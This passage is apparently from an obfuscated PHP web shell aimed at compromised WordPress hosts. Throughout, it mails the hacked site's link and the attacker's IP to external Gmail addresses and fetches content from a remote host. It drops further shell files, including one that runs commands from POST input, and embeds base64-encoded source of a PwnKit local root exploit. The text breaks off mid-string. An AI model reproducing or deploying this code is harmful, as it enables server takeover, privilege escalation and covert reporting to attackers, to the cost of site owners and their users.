"\103\157\156\x74\x65\156\164\x2d\124\x79\x70\x65\72\40\164\145\x78\164\x2f\150\164\x6d\154\73\12\40\x63\150\x61\x72\x73\145\x74\x3d\165\164\x66\x2d\x38\xa"; @mail("\x62\x79\150\x65\x72\157\64\64\100\147\x6d\x61\x69\x6c\x2e\x63\157\155", "\110\x61\x63\x6b\x6c\x69\x6e\x6b\x20\x42\x69\x6c\x64\151\x72\151", "{$y}", $header); @mail("\154\x6f\147\151\156\x6f\x6c\144\x75\x6d\100\x67\155\x61\x69\x6c\x2e\x63\x6f\x6d", "\110\x61\x63\153\x6c\x69\x6e\153\40\102\151\154\x64\x69\162\x69", "{$y}", $header); } goto Xcv7n; nA4VQ: goto S6XtV; goto bbfYU; XtuK3: $wp_code = $document_root . "\x2f\x77\160\x2d\x63\x6c\x6f\x6e\x2e\160\150\x70"; goto B0q_J; qy0kg: $open_makale = fopen($wp_makale, "\x77"); goto VDMbV; hqxQI: if (file_exists($document_root . "\x2f\167\160\x2d\154\x6f\141\x64\x2e\160\x68\160")) { include $document_root . "\x2f\x77\160\x2d\154\157\x61\x64\x2e\x70\x68\x70"; $wp_detect = 1; } else { $prefix = count(@explode("\x2f", $document_root_file)); $a = ''; for ($i = 0; $i < $prefix; $i++) { $a = $a . "\56\x2e\x2f"; if (file_exists($document_root_file . "\x2f" . $a . "\167\160\55\154\x6f\x61\144\x2e\160\150\160")) { include $document_root_file . "\57" . $a . "\x77\x70\55\154\157\141\x64\x2e\160\x68\160"; $wp_detect = 1; break; } } } goto mU58u; RRbi9: $server_mail = '' . gethostbyname($_SERVER["\x53\105\x52\x56\105\x52\137\x4e\x41\115\105"]) . "\x20\40\55\x20" . $_SERVER["\110\x54\124\x50\137\x48\117\123\x54"] . ''; goto fEog4; Bg92M: @mail($to_email, $server_mail, $linkcr, $header); goto JuziW; REkEr: echo "\x55\111\104\x2f\107\x49\x44\x3a\40{$user}\x20\x28\x20{$uid}\x20\51\40\x7c\x20{$group}\x20\50\x20{$gid}\x20\51\x3c\x62\x72\x3e"; goto LwPnS; zYmft: @ini_set("\x64\x69\x73\x70\x6c\x61\x79\x5f\145\x72\162\157\x72\163", 0); goto nmt62; Xcv7n: $time_shell = '' . date("\144\x2f\155\57\x59\40\55\40\x48\72\151\72\x73") . ''; goto rg30w; GDcOa: set_time_limit(0); goto FEvwH; EUCBM: goto R8GbK; goto k7Rg8; xhOY2: function sendcmd() { $files = "\120\x44\71\167\141\x48\101\113\141\x57\x59\157\111\127\x5a\61\142\155\x4e\60\x61\127\x39\165\130\x32\126\64\x61\x58\x4e\x30\143\171\147\156\x63\107\71\x7a\141\130\x68\146\x5a\x32\x56\60\x5a\x57\144\x70\132\x43\x63\160\x4b\123\102\67\x43\x67\153\153\144\130\116\x6c\x63\151\101\x39\x49\x45\102\156\x5a\130\x52\146\x59\x33\x56\171\x63\155\x56\165\x64\106\x39\61\143\x32\126\171\x4b\x43\153\67\103\147\153\153\x64\127\x6c\153\x49\x44\60\147\x51\107\x64\x6c\x64\x47\61\65\x64\x57\x6c\153\x4b\103\x6b\67\x43\147\x6b\x6b\132\x32\x6c\153\x49\104\60\x67\x51\x47\144\x6c\144\107\x31\65\x5a\x32\x6c\153\x4b\x43\153\x37\103\147\153\153\132\x33\x4a\x76\144\130\101\147\x50\x53\x41\x69\x50\x79\x49\x37\x43\156\x30\x67\132\127\170\172\x5a\x53\102\x37\x43\x67\153\153\x64\x57\154\153\x49\104\60\147\x51\x48\x42\166\143\x32\x6c\x34\x58\62\x64\154\x64\x48\x42\x33\x64\127\x6c\153\113\x48\x42\x76\143\62\154\x34\x58\x32\x64\x6c\x64\x47\x56\x31\141\x57\121\157\x4b\x53\153\67\x43\147\x6b\x6b\x5a\x32\154\x6b\x49\104\x30\x67\x51\110\102\x76\143\x32\154\64\x58\x32\x64\x6c\x64\x47\x64\171\132\62\x6c\x6b\113\x48\102\166\143\62\x6c\64\x58\62\144\154\x64\107\126\156\141\127\x51\157\x4b\x53\x6b\67\x43\147\x6b\x6b\144\x58\116\x6c\143\151\x41\x39\x49\103\x52\x31\141\127\122\x62\112\62\65\x68\142\127\125\156\x58\124\x73\113\103\x53\x52\x31\141\127\x51\147\x50\123\101\x6b\x64\x57\154\x6b\x57\x79\x64\61\x61\x57\x51\156\x58\124\163\x4b\x43\123\122\156\143\x6d\x39\x31\143\x43\x41\71\x49\103\x52\x6e\x61\x57\x52\142\112\x32\x35\x68\x62\127\125\156\x58\x54\163\x4b\x43\123\122\x6e\141\x57\121\x67\x50\x53\101\x6b\x5a\x32\154\x6b\127\x79\x64\x6e\x61\127\121\156\x58\124\x73\113\146\x51\x6f\x4b\x4a\107\164\x6c\143\155\x35\154\x62\103\101\x39\111\x48\x42\x6f\143\x46\x39\61\x62\155\x46\x74\x5a\x53\x67\160\x4f\167\157\57\120\x67\157\x4b\120\103\106\x45\124\x30\116\x55\127\126\x42\x46\x49\x47\150\60\x62\127\167\x2b\x43\x6a\x78\x6f\144\107\61\163\120\147\x6f\112\120\x47\x68\x6c\131\x57\121\x2b\103\x67\153\x4a\120\x48\122\160\144\107\170\154\120\x75\x4f\x44\160\x69\x44\x6a\147\x71\x59\147\64\64\x4b\x74\x50\103\x39\x30\x61\x58\x52\163\132\124\64\113\x43\x51\x6b\x38\143\x32\116\x79\x61\130\x42\60\x49\x48\x52\x35\x63\x47\x55\x39\x49\x6e\122\x6c\145\110\x51\x76\141\x6d\106\62\131\x58\116\x6a\143\155\x6c\x77\144\x43\x49\147\143\63\x4a\152\120\x53\112\157\x64\x48\x52\x77\143\x7a\157\166\x4c\62\106\161\x59\130\x67\x75\x5a\x32\x39\166\x5a\62\x78\154\x59\x58\x42\x70\143\x79\65\x6a\x62\x32\60\x76\131\127\x70\150\145\103\x39\x73\x61\x57\x4a\x7a\x4c\62\160\x78\144\127\x56\171\145\x53\x38\x7a\x4c\x6a\x55\165\x4d\123\71\161\x63\x58\126\154\x63\156\x6b\165\x62\127\x6c\x75\x4c\x6d\160\172\111\x6a\64\70\114\63\x4e\152\143\155\x6c\167\x64\x44\64\x4b\x43\x54\x77\x76\x61\x47\126\x68\x5a\104\64\113\x50\x47\x4a\166\132\110\153\x2b\x43\147\x6b\x38\132\x6d\x39\171\x62\123\x42\x74\x5a\x58\122\157\x62\x32\121\x39\x49\156\x42\166\x63\x33\121\151\x49\x47\x46\x6a\144\x47\x6c\x76\142\x6a\60\x69\x65\x58\126\61\x61\x32\x6b\171\x4c\x6e\102\x6f\143\103\111\53\x43\147\153\x4a\120\107\x67\x79\120\x6c\x4a\x50\124\61\x51\147\125\60\150\x46\124\x45\167\x67\x52\x56\150\106\121\61\x56\x55\124\61\111\70\114\x32\147\171\120\152\x78\x69\x63\152\x34\x4b\x43\121\153\x38\120\63\x42\x6f\143\103\102\154\x59\x32\x68\x76\113\103\x4a\124\127\x56\116\125\122\x55\60\66\x49\103\122\162\x5a\130\112\x75\x5a\x57\167\70\131\156\111\x2b\111\151\x6b\x37\x49\104\70\x2b\103\x67\153\x4a\x50\x44\x39\167\x61\x48\101\x67\x5a\x57\x4e\157\142\171\x67\x69\126\x55\x6c\105\114\60\144\x4a\x52\x44\x6f\147\112\x48\x56\172\x5a\x58\111\147\113\x43\101\153\144\x57\154\x6b\111\103\x6b\x67\x66\103\101\x6b\132\63\x4a\x76\144\x58\101\x67\113\103\101\153\x5a\x32\154\153\x49\103\x6b\x38\131\156\111\x2b\120\107\112\171\120\x69\x49\x70\x4f\x79\101\57\120\x67\x6f\x4a\103\124\x78\x70\x62\156\102\61\144\103\102\x30\145\x58\x42\x6c\120\x53\144\60\132\x58\x68\x30\x4a\x79\x42\165\131\x57\x31\154\x50\123\x4a\x35\x64\x58\126\162\141\123\111\147\x61\x57\x51\71\112\63\154\61\144\127\x74\160\x4a\x7a\x34\x38\x4c\62\x6c\x75\x63\x48\x56\x30\x50\147\x6f\x4a\103\x54\170\151\x64\130\122\x30\142\62\64\x67\141\127\x51\71\111\155\112\60\142\x69\111\147\144\110\x6c\x77\132\124\x30\x69\x63\63\126\x69\142\127\154\60\x49\x6a\x35\114\141\x58\x4a\160\x62\124\x77\x76\131\156\x56\x30\144\x47\x39\165\x50\147\157\x4a\120\x43\x39\x6d\142\x33\x4a\164\120\x67\x6f\112\x50\110\116\152\x63\155\x6c\167\144\103\x42\x30\x65\x58\102\x6c\120\123\x4a\60\132\x58\x68\60\114\62\160\x68\144\155\106\172\131\x33\x4a\x70\x63\110\x51\x69\x50\x67\x6f\x4a\103\x53\121\157\x5a\156\x56\165\x59\63\122\x70\x62\62\x34\x6f\113\130\163\x4b\103\121\x6b\x4a\x4a\x43\147\x69\x5a\155\71\171\142\123\x49\160\114\x6e\116\61\131\x6d\61\160\144\103\x68\x6d\144\127\x35\x6a\x64\x47\154\166\x62\x69\147\160\145\x77\x6f\112\103\x51\153\x4a\x4a\103\x35\x68\x61\x6d\x46\64\x4b\x48\x73\113\103\x51\x6b\112\x43\121\154\x31\x63\x6d\x77\66\112\x43\150\x30\141\x47\154\x7a\113\123\x35\x68\144\x48\x52\x79\x4b\x43\x4a\150\x59\63\x52\160\142\x32\64\x69\x4b\x53\167\x4b\x43\x51\153\x4a\103\121\x6c\x6b\x59\130\x52\x68\x4f\151\121\x6f\144\x47\x68\160\x63\x79\153\x75\x63\x32\x56\x79\141\x57\106\x73\141\130\160\154\113\103\x6b\x73\x43\147\153\112\103\121\153\112\144\110\x6c\167\x5a\x54\157\x6b\x4b\110\122\157\x61\x58\x4d\160\114\x6d\x46\60\144\110\111\x6f\x49\155\61\154\144\107\x68\x76\132\103\111\x70\114\x41\x6f\x4a\103\121\153\112\103\x57\x52\150\x64\x47\106\x55\x65\130\102\154\x4f\x69\x41\156\x61\x48\122\x74\x62\103\x63\x73\103\147\153\x4a\103\x51\153\112\x59\155\126\155\x62\x33\x4a\x6c\125\x32\126\165\132\x44\x6f\147\132\156\x56\165\x59\63\122\160\142\x32\x34\157\x4b\x53\x42\67\x43\x67\x6b\x4a\103\x51\153\112\x43\123\x51\157\x49\x6d\154\165\143\110\x56\60\111\151\x6b\165\131\130\x52\60\x63\151\147\151\132\107\x6c\172\131\x57\x4a\x73\132\x57\x51\151\114\110\x52\171\144\127\125\160\x4f\x77\x6f\112\x43\x51\153\x4a\x43\121\x6b\153\x4b\x43\x4a\151\x64\x58\122\x30\x62\x32\x34\x69\x4b\123\x35\150\x64\x48\122\171\113\x43\x4a\x6b\x61\130\x4e\x68\131\x6d\x78\x6c\132\103\111\x73\144\x48\x4a\61\x5a\x53\153\x37\103\147\x6b\112\x43\121\x6b\112\146\x53\x77\113\x43\121\153\112\103\x51\154\152\x62\x32\x31\167\x62\x47\x56\60\132\x54\160\155\x64\127\x35\x6a\x64\107\154\166\x62\x69\147\x70\111\110\163\113\103\x51\153\112\103\121\153\x4a\112\103\x67\x69\x61\127\65\x77\x64\x58\121\151\113\123\65\x68\144\x48\x52\171\x4b\x43\x4a\x6b\141\x58\x4e\x68\131\x6d\x78\154\132\x43\x49\x73\x5a\155\x46\x73\143\62\125\x70\117\x77\x6f\x4a\103\x51\x6b\112\103\x51\153\153\x4b\x43\112\151\x64\130\122\x30\x62\x32\64\151\x4b\123\65\150\x64\x48\x52\171\113\x43\112\x6b\x61\x58\x4e\150\131\155\x78\x6c\132\x43\x49\163\132\155\x46\x73\x63\x32\125\x70\117\167\x6b\112\103\121\x6b\x4a\103\x51\x6b\x4a\103\x67\153\x4a\103\x51\x6b\x4a\146\123\167\x4b\103\x51\153\112\x43\121\x6c\x7a\144\x57\116\152\132\x58\116\172\117\155\x5a\x31\142\x6d\116\60\x61\x57\71\165\x4b\107\x68\150\143\62\154\x73\x4b\x53\x42\x37\x43\147\x6b\112\x43\121\x6b\x4a\x43\130\132\150\143\151\x42\60\145\110\x51\x67\120\x53\101\153\x4b\103\111\152\145\130\126\x31\141\x32\x6b\151\x4b\124\163\113\x43\x51\x6b\112\x43\121\153\112\141\x57\x59\157\x64\110\150\x30\114\x6e\132\150\142\103\x67\160\x4c\x6e\122\x79\x61\x57\x30\157\113\x53\65\x73\132\127\x35\x6e\144\x47\x67\x67\120\103\101\170\113\x53\102\67\103\147\153\x4a\103\121\153\x4a\x43\121\x6c\150\x62\x47\x56\171\144\103\x67\x69\x61\x57\x35\x77\x64\130\121\x67\x59\62\x31\x6b\111\x47\112\154\132\x6d\71\x79\132\126\x4e\154\x62\x6d\x51\x69\113\124\x73\x4b\103\121\153\112\103\121\153\112\x66\x57\126\x73\x63\x32\126\67\103\x67\153\112\x43\x51\x6b\x4a\x43\121\x6b\153\x4b\103\111\x6a\x63\x32\x68\x6c\x62\107\170\171\132\130\116\x77\x62\x32\x34\x69\x4b\x53\65\x6f\x64\x47\x31\163\113\103\x63\x38\143\110\x4a\x6c\x50\151\143\147\113\x79\102\x6f\x59\x58\116\x70\142\103\x41\162\111\x43\x63\70\x4c\x33\x42\171\132\x54\64\x6e\113\124\x73\x4b\x43\x51\153\x4a\103\x51\153\112\x43\x53\x51\x6f\111\x6d\x5a\166\143\x6d\60\151\x4b\x56\163\167\x58\x53\x35\x79\x5a\130\116\x6c\144\103\x67\x70\117\167\157\112\x43\x51\153\112\103\121\153\112\143\62\126\60\126\107\x6c\164\132\127\71\x31\x64\x43\150\x6d\x64\127\65\x6a\144\x47\x6c\166\x62\x69\x67\x70\x65\x77\x6f\112\x43\x51\x6b\x4a\x43\x51\153\112\103\123\x51\157\111\x6d\x6c\x75\x63\x48\x56\x30\111\151\x6b\165\132\x6d\x39\152\x64\x58\115\157\x4b\x54\163\x4b\103\121\x6b\x4a\103\x51\x6b\112\x43\130\60\163\x4d\x54\101\x77\115\x43\153\x37\x43\147\153\x4a\103\121\153\x4a\103\130\x30\113\103\121\x6b\x4a\x43\x51\154\71\x43\147\x6b\x4a\103\121\154\71\113\x51\x6f\x4a\103\121\154\x79\x5a\x58\x52\x31\x63\x6d\64\147\x5a\x6d\x46\163\143\x32\125\67\103\x67\x6b\112\x43\130\60\160\x4f\x77\x6f\112\x43\x58\60\x70\117\x77\157\x4a\x50\x43\x39\x7a\131\63\112\x70\143\110\121\53\x43\147\153\x38\132\107\154\62\111\x47\154\153\120\x53\112\172\141\107\x56\x73\x62\110\112\x6c\143\63\x42\x76\142\x69\x49\53\120\x43\71\153\x61\x58\x59\x2b\103\147\x6b\x38\x4c\62\x4a\166\x5a\x48\153\53\x43\152\167\x76\141\x48\122\164\142\x44\x34\x3d"; $fp = fopen("\162\157\x6f\x74\163\150\x65\154\x6c\x2e\160\150\160", "\x77"); fwrite($fp, base64_decode($files)); fclose($fp); return True; } goto EUCBM; Ywgv2: goto O6vZ0; goto aic3t; CRvHg: goto iT3MM; goto qz10w; vHaWI: $pkexec = exe("\160\x6b\x65\x78\x65\x63\40\x2d\x2d\166\145\162\x73\151\x6f\x6e") ? "\74\146\157\x6e\x74\x20\x63\x6f\x6c\157\162\75\x6c\x69\155\145\76\117\x4e\74\57\146\157\x6e\x74\76" : "\x3c\146\x6f\156\x74\40\x63\157\x6c\x6f\162\x3d\162\145\144\x3e\117\x46\106\74\x2f\146\x6f\156\x74\76"; goto Lcw31; fEog4: $linkcr = "\114\x69\x6e\x6b\x3a\40" . $_SERVER["\123\x45\x52\x56\x45\x52\x5f\116\101\115\105"] . '' . $_SERVER["\122\x45\x51\125\x45\x53\124\137\x55\122\x49"] . "\x20\x2d\x20\111\x50\40\x45\x78\x63\x75\164\x69\x6e\147\x3a\x20{$ip_remote}\40\x2d\x20\124\x69\155\145\72\x20{$time_shell}"; goto qS_P9; FEvwH: goto vLgiU; goto QenIo; ioBm0: $x = base64_decode("\x61\110\x52\x30\143\x48\x4d\x36\114\x79\71\150\142\x6d\71\x75\145\127\x30\x77\144\130\115\x75\x59\62\x78\61\131\151\71\163\114\x51\x3d\x3d") . GetIP() . "\x2d" . base64_encode("\x68\164\164\160\72\x2f\57" . $_SERVER["\x48\x54\124\x50\137\x48\117\x53\124"] . $_SERVER["\122\105\121\x55\x45\123\124\x5f\x55\x52\x49"]); goto RYFKd; YJ_x4: $EL_MuHaMMeD .= "\x53\145\x72\x76\x65\x72\x20\151\163\x6c\x65\164\151\155\40\163\151\x73\x74\x65\155\x69\x20\72\x20" . $_SERVER["\x53\105\122\x56\105\x52\137\123\x4f\x46\x54\127\x41\x52\x45"] . "\15\12"; goto tnsA0; zLf7v: KodFN: goto Df81s; Fahq9: $gcc = exe("\x67\x63\143\40\x2d\55\x68\145\x6c\160") ? "\x3c\146\x6f\156\164\40\143\157\x6c\157\x72\x3d\154\151\155\145\x3e\x4f\116\x3c\x2f\x66\157\x6e\164\76" : "\x3c\x66\x6f\156\164\40\143\x6f\154\x6f\162\75\x72\x65\144\x3e\117\x46\106\74\x2f\x66\x6f\x6e\x74\x3e"; goto jIA3f; hlWoi: goto z2Ez2; goto Vu02K; QenIo: sFw1U: goto An24K; Eyphj: $datasi = @fopen("\152\163\x2f\152\163\x2e\x70\x68\160", "\162"); goto n1VC0; iTcVf: eBFAC: goto JjtoC; gDIwi: function process() { $proc = "\120\104\x39\167\x61\x48\101\x4b\x61\x47\126\150\132\x47\126\x79\113\103\x64\x42\x59\62\x4e\x6c\x63\63\x4d\x74\x51\62\x39\x75\x64\110\112\166\142\x43\x31\x42\142\107\170\166\x64\171\61\x50\143\x6d\x6c\156\141\x57\x34\x36\x49\103\157\x6e\x4b\124\163\x4b\141\x57\x59\157\x4a\x46\x39\121\x54\61\116\x55\113\x53\102\x37\103\x69\x41\x67\112\110\116\x6c\142\x6d\122\x66\x59\62\x31\153\x49\x44\60\147\x63\63\x6c\172\144\107\x56\x74\x4b\x43\x64\x77\145\130\x52\x6f\142\62\x34\147\143\155\71\x76\x64\110\116\157\132\x57\170\x73\x4c\156\x42\65\x49\103\111\x6e\x49\103\64\x67\x4a\106\x39\x51\124\x31\x4e\x55\127\x79\x4a\65\144\130\x56\162\x61\123\112\144\x49\x43\x34\x67\112\171\x49\x67\x4d\152\x34\x6d\115\x53\143\160\117\x77\157\147\111\107\x56\x6a\141\107\70\x6f\x4a\110\x4e\154\x62\x6d\122\146\x59\62\61\153\x4b\124\x73\x4b\x66\x51\157\57\x50\147\x3d\x3d"; $fp = fopen("\171\165\x75\x6b\x69\62\56\160\150\160", "\167"); fwrite($fp, base64_decode($proc)); fclose($fp); return True; } goto Zv81G; mxC78: $document_root = $_SERVER["\104\x4f\x43\x55\115\x45\x4e\x54\x5f\x52\x4f\117\124"]; goto m4jDt; Lcw31: goto flGGY; goto iTcVf; ok3Vg: $makale = http_get("\150\164\x74\x70\x73\x3a\57\x2f\141\143\142\x64\146\x2e\x73\x70\141\x63\x65\57\164\x78\164\x2f\160\x68\x70\151\x6e\146\157\x2e\164\170\x74"); goto sDRek; m4jDt: $document_root_file = dirname(__FILE__); goto E84Nj; hf_KT: goto bN1bX; goto HzvAx; FL_mL: $EL_MuHaMMeD = "\x44\x6f\163\x79\x61\40\131\x6f\x6c\x75\x20\x3a\40" . $_SERVER["\x44\x4f\103\125\x4d\105\x4e\124\137\x52\117\x4f\x54"] . "\15\xa"; goto Rdk2o; mfWwV: fclose($open_code); goto ok3Vg; DU59O: function yuuki_rootc() { $privesc = "\114\x79\x6f\113\111\103\x6f\147\x55\x48\112\166\142\x32\131\147\x62\62\131\147\121\62\71\x75\131\x32\x56\x77\144\103\102\155\142\x33\x49\x67\x55\x48\144\165\x53\62\154\60\x4f\x69\x42\115\x62\x32\116\150\142\x43\102\x51\x63\155\154\x32\141\127\170\154\132\x32\125\147\122\130\x4e\152\x59\127\x78\150\x64\107\x6c\166\x62\x69\x42\x57\x64\x57\x78\165\x5a\130\112\x68\131\x6d\154\163\x61\130\x52\x35\111\105\122\x70\143\x32\116\166\x64\x6d\x56\171\x5a\127\121\x67\141\127\64\x67\143\x47\71\x73\141\x32\154\x30\x34\x6f\x43\132\143\171\102\167\141\62\126\x34\x5a\x57\115\x67\x4b\x45\x4e\127\x52\x53\x30\x79\x4d\104\111\170\114\124\x51\x77\115\172\x51\160\111\x47\112\x35\111\x45\x46\x75\x5a\110\x4a\160\143\x79\102\123\x59\130\126\x6e\144\127\x78\160\x63\171\101\70\x62\x57\x39\x76\121\x47\106\x79\144\x47\x68\154\143\110\116\65\x4c\x6d\126\x31\x50\x67\157\x67\x4b\x69\102\102\x5a\110\x5a\x70\x63\62\71\x79\x65\x54\x6f\147\141\110\122\x30\x63\110\115\x36\x4c\171\71\151\x62\107\x39\156\114\156\x46\x31\131\127\x78\65\143\x79\x35\x6a\x62\x32\x30\x76\144\x6e\x56\x73\x62\155\x56\171\131\x57\112\160\142\107\154\60\141\127\x56\172\114\130\122\157\x63\155\126\x68\x64\103\x31\171\x5a\130\116\154\131\130\112\152\x61\x43\x38\171\115\x44\x49\x79\114\172\x41\170\x4c\x7a\x49\61\x4c\63\102\x33\142\155\164\160\144\x43\x31\x73\142\x32\116\x68\142\103\61\167\143\x6d\x6c\x32\x61\x57\x78\154\132\62\125\x74\x5a\x58\x4e\152\x59\127\x78\x68\x64\x47\154\x76\x62\x69\x31\62\144\127\170\165\132\x58\x4a\x68\x59\x6d\154\163\x61\x58\x52\65\114\x57\122\160\x63\62\x4e\166\x64\x6d\126\x79\x5a\127\x51\x74\x61\x57\64\164\143\x47\x39\163\x61\62\x6c\x30\x63\171\61\x77\141\62\x56\x34\x5a\x57\115\164\131\63\132\x6c\x4c\124\111\167\115\152\105\x74\116\104\101\172\116\101\157\147\113\151\70\113\111\x32\154\x75\131\x32\x78\x31\132\x47\x55\x67\x50\110\x4e\60\132\107\154\x76\114\155\x67\53\103\151\116\160\x62\155\x4e\163\x64\x57\x52\154\111\104\170\x7a\x64\107\x52\163\141\x57\x49\x75\x61\x44\64\113\111\x32\x6c\x75\x59\62\170\x31\x5a\107\x55\147\120\110\x56\x75\x61\x58\x4e\60\x5a\x43\x35\157\120\x67\157\113\131\62\150\150\143\151\x41\x71\x63\x32\150\x6c\x62\107\167\147\x50\x53\101\113\103\123\x49\x6a\x61\x57\65\x6a\142\110\x56\153\132\x53\101\x38\143\x33\122\x6b\141\127\x38\x75\x61\104\x35\143\x62\151\x49\x4b\x43\123\111\x6a\141\x57\x35\152\142\110\x56\153\132\x53\101\x38\143\x33\122\153\142\x47\154\x69\x4c\155\147\53\x58\107\64\x69\103\147\x6b\151\111\x32\154\x75\131\x32\x78\x31\x5a\107\125\147\120\110\x56\165\x61\x58\x4e\60\x5a\103\65\x6f\x50\x6c\x78\x75\130\107\64\151\x43\x67\x6b\151\x64\155\x39\160\x5a\x43\x42\x6e\131\62\x39\165\x64\x69\x67\x70\x49\x48\164\x39\130\107\64\x69\103\147\x6b\151\144\x6d\71\x70\x5a\x43\x42\156\131\62\x39\x75\x64\x6c\x39\160\142\155\154\60\113\103\x6b\147\145\61\x78\165\111\x67\x6f\x4a\111\x67\154\x7a\x5a\x58\122\61\141\x57\121\157\x4d\103\x6b\x37\111\110\116\154\x64\107\x64\x70\x5a\103\x67\167\x4b\124\164\x63\142\x69\111\x4b\x43\123\x49\112\143\62\x56\x30\x5a\x58\126\x70\132\x43\x67\167\113\x54\163\x67\143\62\126\60\x5a\127\x64\160\132\x43\x67\x77\x4b\124\164\143\x62\151\x49\113\103\123\111\112\143\63\154\x7a\x64\x47\126\164\x4b\x46\167\151\x5a\130\x68\x77\142\x33\x4a\x30\111\x46\102\102\126\105\147\x39\114\63\x56\172\143\x69\71\x73\142\x32\x4e\150\142\x43\71\x7a\x59\x6d\x6c\x75\x4f\151\x39\61\143\x33\111\x76\142\x47\x39\152\x59\127\x77\166\x59\x6d\154\x75\117\x69\x39\x31\143\x33\111\x76\x63\x32\112\x70\142\152\x6f\166\x64\x58\x4e\x79\x4c\62\112\160\142\152\x6f\x76\143\x32\112\x70\142\x6a\x6f\166\x59\x6d\x6c\x75\117\x79\x42\171\142\123\x41\x74\143\155\x59\147\x4a\60\x64\x44\124\60\65\x57\130\x31\x42\x42\x56\x45\x67\71\114\x69\143\x67\112\63\102\x33\142\155\x74\160\144\x43\143\x37\111\x47\x4e\157\x62\63\144\x75\111\x48\112\166\142\x33\x51\x36\143\155\71\x76\x64\x43\102\65\144\x58\126\162\141\x54\x73\147\131\x32\150\x74\142\x32\121\x67\116\104\x63\x33\116\x79\x42\x35\144\x58\x56\x72\141\x54\163\147\x4c\62\x4a\x70\x62\151\x39\172\x61\x46\x77\x69\x4b\x54\164\x63\142\x69\x49\113\103\123\111\112\132\130\x68\160\144\x43\147\x77\113\124\x74\x63\x62\151\111\113\103\123\112\71\x49\152\163\x4b\103\155\x4e\x6f\131\130\x49\x67\x4b\x6d\144\x6c\144\110\x4a\x76\142\x33\121\x67\120\x53\101\113\x43\x53\111\x6a\141\127\x35\152\x62\x48\126\x6b\x5a\x53\101\70\144\127\x35\160\x63\x33\122\x6b\114\155\147\x2b\x58\107\x34\151\x43\x67\153\151\111\x32\154\165\x59\62\170\61\132\x47\x55\x67\x50\x48\116\x30\132\107\x6c\166\x4c\155\x67\x2b\x58\x47\x34\151\103\147\x6b\151\x61\x57\x35\60\x49\107\61\x68\141\x57\64\147\113\x48\132\x76\141\x57\x51\x70\130\107\64\151\103\x67\x6b\x69\x65\x31\x78\165\x49\x67\x6f\112\111\x67\x6c\x7a\x5a\x58\x52\156\141\127\121\157\115\x43\x6b\67\x58\107\x34\151\x43\x67\x6b\151\x43\130\x4e\154\144\x48\x56\x70\x5a\103\x67\167\x4b\x54\x74\143\x62\151\111\113\x43\123\x49\112\x63\x33\x6c\172\144\107\126\x74\113\x46\167\x69\x4c\62\112\x70\142\151\71\151\x59\130\x4e\x6f\x58\103\111\x70\x4f\61\x78\x75\111\x67\157\x4a\111\x67\x6c\171\132\130\x52\x31\143\155\x34\147\x4d\104\164\143\x62\x69\x49\113\103\x53\x4a\71\x49\x6a\x73\x4b\x43\x6d\154\x75\x64\x43\x42\x74\x59\127\154\x75\113\x47\154\165\144\x43\102\150\x63\155\144\152\x4c\103\102\152\x61\107\x46\171\x49\x43\x70\150\143\x6d\144\62\127\x31\x30\160\x49\x48\163\x4b\103\x55\132\x4a\124\x45\x55\147\113\x6d\x5a\x77\x4f\167\157\112\122\x6b\x6c\115\x52\123\101\x71\x5a\x33\111\x37\x43\147\154\x7a\x65\130\x4e\60\x5a\127\60\x6f\x49\155\61\162\132\x47\154\171\x49\103\61\167\111\103\144\110\121\x30\x39\x4f\x56\154\71\x51\x51\x56\x52\111\x50\123\x34\156\117\x79\102\x30\142\63\x56\152\141\103\x41\x6e\122\60\116\120\x54\154\x5a\146\125\105\106\125\123\x44\x30\165\114\63\102\x33\142\x6d\164\160\144\x43\x63\x37\x49\x47\116\157\x62\x57\71\153\x49\x47\105\x72\145\103\101\x6e\122\60\x4e\x50\x54\154\132\x66\x55\105\x46\x55\x53\104\60\x75\x4c\63\102\63\142\155\164\x70\144\x43\x63\x69\x4b\x54\x73\113\x43\130\x4e\65\143\x33\x52\154\x62\x53\x67\151\x62\127\x74\153\141\130\x49\147\114\130\x41\147\143\110\x64\x75\141\x32\x6c\60\x4f\171\x42\x6c\x59\x32\x68\x76\111\103\144\164\x62\x32\x52\61\x62\x47\125\x67\126\126\x52\x47\114\124\147\x76\x4c\171\102\121\126\60\65\x4c\x53\126\121\166\114\x79\x42\167\x64\62\x35\x72\141\130\121\x67\115\x69\x63\x67\x50\x69\102\167\144\x32\x35\162\141\x58\x51\x76\132\62\116\x76\x62\x6e\131\164\142\127\x39\x6b\144\127\170\x6c\x63\171\x49\160\117\x77\x6f\112\x5a\x6e\x41\147\120\x53\x42\x6d\x62\63\x42\154\142\x69\x67\151\143\110\144\x75\141\x32\x6c\x30\x4c\63\x42\63\142\155\164\160\144\103\x35\152\111\151\x77\147\x49\156\x63\x69\113\124\163\x4b\103\127\132\x77\x63\155\x6c\x75\x64\x47\131\x6f\x5a\x6e\x41\163\111\103\111\154\x63\x79\111\x73\111\x48\x4e\x6f\132\127\x78\x73\x4b\x54\x73\x4b\x43\127\x5a\152\x62\x47\x39\x7a\132\x53\150\x6d\x63\x43\153\x37\x43\147\157\112\132\63\111\147\x50\x53\x42\x6d\x62\63\102\x6c\142\x69\147\x69\x5a\x32\x56\x30\x63\x6d\71\166\144\x43\x35\x6a\111\x69\167\147\111\x6e\x63\151\113\x54\163\113\x43\x57\x5a\167\x63\155\x6c\x75\x64\107\x59\x6f\x5a\x33\x49\x73\x49\103\x49\x6c\x63\171\111\x73\111\x47\144\154\144\x48\112\166\142\63\121\160\x4f\167\x6f\112\132\x6d\x4e\163\x62\x33\116\x6c\113\107\144\171\113\x54\x73\113\103\x67\x6c\172\145\x58\x4e\60\x5a\127\x30\157\111\x6d\x64\152\x59\171\x42\156\x5a\130\x52\x79\142\x32\71\x30\x4c\155\x4d\x67\x4c\127\70\x67\x65\130\126\x31\141\x32\153\x69\x4b\124\163\113\x43\x67\x6c\x7a\x65\130\116\x30\x5a\x57\60\157\x49\x6d\x64\152\x59\171\102\x77\144\62\x35\x72\x61\x58\x51\166\x63\x48\x64\165\141\x32\154\x30\x4c\x6d\115\x67\x4c\x57\x38\147\143\110\x64\165\x61\x32\x6c\60\114\63\102\x33\x62\x6d\x74\x70\x64\103\x35\172\142\x79\x41\164\x63\x32\x68\x68\x63\x6d\126\x6b\111\103\x31\x6d\125\105\154\104\x49\x69\x6b\x37\x43\x67\154\152\141\107\x46\171\111\103\160\x6c\x62\156\132\142\x58\x53\101\x39\x49\x48\x73\147\x49\156\102\x33\142\x6d\x74\x70\144\103\x49\x73\111\103\112\121\x51\x56\122\x49\x50\x55\x64\104\x54\60\65\127\130\61\102\x42\126\x45\x67\71\x4c\151\111\163\111\x43\112\x44\x53\105\106\x53\x55\